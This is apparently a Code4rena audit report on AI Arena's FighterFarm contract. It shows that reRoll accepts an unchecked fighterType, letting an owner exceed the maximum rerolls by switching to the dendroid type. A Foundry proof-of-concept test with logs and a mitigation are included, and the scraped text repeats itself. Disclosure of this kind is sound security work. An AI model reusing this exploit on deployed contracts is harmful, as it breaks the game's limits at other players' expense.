This impacts is not severe, but medium due to the invarianting breaking, to allow only max rerlls per that fighter. And it can only rerolled if new generation is increased.
But the token owner can call reroll with fighterType as param, so for normal bot (not dendroid) the owner will reroll max allowed for that fighter type. But after reaching maximum, he can again call reroll with different fighterType == 1 (dendroid), so now if the max rerolls for dendroid is greater than normal bots, then it will be rerolled., so now technically max rerolls are breached, and new skin/weights/looks for that tokens are obtained.
Proof of Concept
As you can see the logs, the max rerolls is breached by the token id 0's owner.
Running 1 test for test/FighterFarm.t.sol:FighterFarmTest
[PASS] test_POC_breach_maxRerolls() (gas: 748831)
Logs:
Before numRerolls(0): 0
After numRerolls(0): 4
maxRerollsAllowed(0): 3
For thr POC to run, paste the below code into FighterFarm:: to make rerolls possible, or else it will revert due to modulo by zero error. Because new elements implementation is missed, and it is covered in a separate issue. This issue is about breaching max rerolls, so even after that modulo by zero issue been fixed, this issue will remain beacuse the root causes are different
-Now paste the below test/FighterFarm.t.sol and run forge t --mt test_POC_breach_maxRerolls -vvvv
function test_POC_breach_maxRerolls() public {
_fundUserWith4kNeuronByTreasury(_ownerAddress);
_neuronContract.addSpender(address(_fighterFarmContract));
// mint
_mintFromMergingPool(_ownerAddress);
assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
// incrementGeneration and elements
uint8 gen = 1;
assertEq(_fighterFarmContract.generation(gen), 0);
_fighterFarmContract.incrementGeneration(gen); // incrementing fighter type 1
assertEq(_fighterFarmContract.generation(gen), 1);
_fighterFarmContract.setElements(gen, 3); // or else it will revert, not possible to reroll due to modulo by 0 revert panic
console.log('Before numRerolls(0): ', _fighterFarmContract.numRerolls(0));
// rerolling now
uint8 fighterType = 0;
_fighterFarmContract.reRoll(0, fighterType);
_fighterFarmContract.reRoll(0, fighterType);
_fighterFarmContract.reRoll(0, fighterType);
fighterType = 1;
_fighterFarmContract.reRoll(0, fighterType);
console.log('After numRerolls(0): ', _fighterFarmContract.numRerolls(0));
console.log('maxRerollsAllowed(0): ', _fighterFarmContract.maxRerollsAllowed(0));
}
Tools Used
Manual + Foundry testing
Recommended Mitigation Steps
Validate FighterFarm::reroll's input param fighterType, if that fighter is a dendroid or a normal bot.
Lines of code
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370
Vulnerability details
Impact
This impacts is not severe, but medium due to the invarianting breaking, to allow only max rerlls per that fighter. And it can only rerolled if new generation is increased.
Code from FighterFarm::reRoll
But the token owner can call
reroll
withfighterType
as param, so for normal bot (not dendroid) the owner will reroll max allowed for that fighter type. But after reaching maximum, he can again call reroll with differentfighterType == 1
(dendroid), so now if the max rerolls for dendroid is greater than normal bots, then it will be rerolled., so now technically max rerolls are breached, and new skin/weights/looks for that tokens are obtained.Proof of Concept
As you can see the logs, the max rerolls is breached by the token id 0's owner.
For thr POC to run, paste the below code into FighterFarm:: to make rerolls possible, or else it will revert due to modulo by zero error. Because new elements implementation is missed, and it is covered in a separate issue. This issue is about breaching max rerolls, so even after that modulo by zero issue been fixed, this issue will remain beacuse the root causes are different
-Now paste the below test/FighterFarm.t.sol and run
forge t --mt test_POC_breach_maxRerolls -vvvv
Tools Used
Manual + Foundry testing
Recommended Mitigation Steps
Validate FighterFarm::reroll's input param
fighterType
, if that fighter is a dendroid or a normal bot.Assessed type
Invalid Validation